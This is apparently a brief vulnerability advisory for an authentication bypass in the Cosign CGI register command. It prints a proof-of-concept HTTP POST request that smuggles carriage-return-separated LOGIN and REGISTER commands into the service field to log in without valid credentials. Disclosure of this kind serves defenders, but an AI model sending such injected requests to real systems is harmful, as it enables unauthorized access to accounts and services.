|
|
Cosign CGI Register Command Remote Authentication Bypass Vulnerability
Attackers can use a browser to exploit this issue. The following proof-of-concept POST request is available: POST /cosign-bin/cosign.cgi HTTP/1.0 Host: weblogin.example.com Cookie: cosign=X Content-Type: application/x-www-form-urlencoded Content-Length: N required=&ref=https%3A%2F%2Fweblogin.example.com%2F&service=cosign-servicename=Y%0DLOGIN cosign=X2 1.2.3.4 username%0DREGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2&login=test&password=pass&passcode=&doLogin=Log+In |
|
Privacy Statement |